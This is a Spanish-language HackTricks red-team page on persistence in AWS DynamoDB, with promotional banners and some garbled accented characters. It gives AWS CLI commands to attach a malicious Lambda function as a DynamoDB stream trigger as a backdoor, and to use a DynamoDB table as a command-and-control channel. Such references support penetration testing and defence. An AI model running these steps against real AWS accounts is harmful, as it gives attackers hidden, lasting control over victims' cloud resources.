AWS - DynamoDB Persistencia
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripci贸n!
- 脷nete al 馃挰 grupo de Discord o al grupo de telegram o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
DynamoDB
Para m谩s informaci贸n, consulta:
DynamoDB Triggers con Lambda Backdoor
Usando triggers de DynamoDB, un atacante puede crear una stealthy backdoor asociando una funci贸n Lambda maliciosa a una tabla. La funci贸n Lambda puede activarse cuando se a帽ade, modifica o elimina un item, permitiendo al atacante ejecutar c贸digo arbitrario dentro de la cuenta AWS.
# Create a malicious Lambda function
aws lambda create-function \
--function-name MaliciousFunction \
--runtime nodejs14.x \
--role <LAMBDA_ROLE_ARN> \
--handler index.handler \
--zip-file fileb://malicious_function.zip \
--region <region>
# Associate the Lambda function with the DynamoDB table as a trigger
aws dynamodbstreams describe-stream \
--table-name TargetTable \
--region <region>
# Note the "StreamArn" from the output
aws lambda create-event-source-mapping \
--function-name MaliciousFunction \
--event-source <STREAM_ARN> \
--region <region>
Para mantener la persistencia, el attacker puede crear o modificar elementos en la tabla DynamoDB, lo que activar谩 la Lambda function maliciosa. Esto permite al attacker ejecutar c贸digo dentro de la cuenta AWS sin interacci贸n directa con la Lambda function.
DynamoDB as a C2 Channel
An attacker puede usar una tabla DynamoDB como un command and control (C2) channel creando elementos que contengan commands y usando compromised instances o Lambda functions para obtener y ejecutar esos commands.
# Create a DynamoDB table for C2
aws dynamodb create-table \
--table-name C2Table \
--attribute-definitions AttributeName=CommandId,AttributeType=S \
--key-schema AttributeName=CommandId,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--region <region>
# Insert a command into the table
aws dynamodb put-item \
--table-name C2Table \
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
--region <region>
Las instancias comprometidas o Lambda functions pueden consultar peri贸dicamente la C2 table en busca de nuevos comandos, ejecutarlos y, opcionalmente, reportar los resultados de vuelta a la C2 table. Esto permite al atacante mantener persistencia y control sobre los recursos comprometidos.
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripci贸n!
- 脷nete al 馃挰 grupo de Discord o al grupo de telegram o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks Cloud

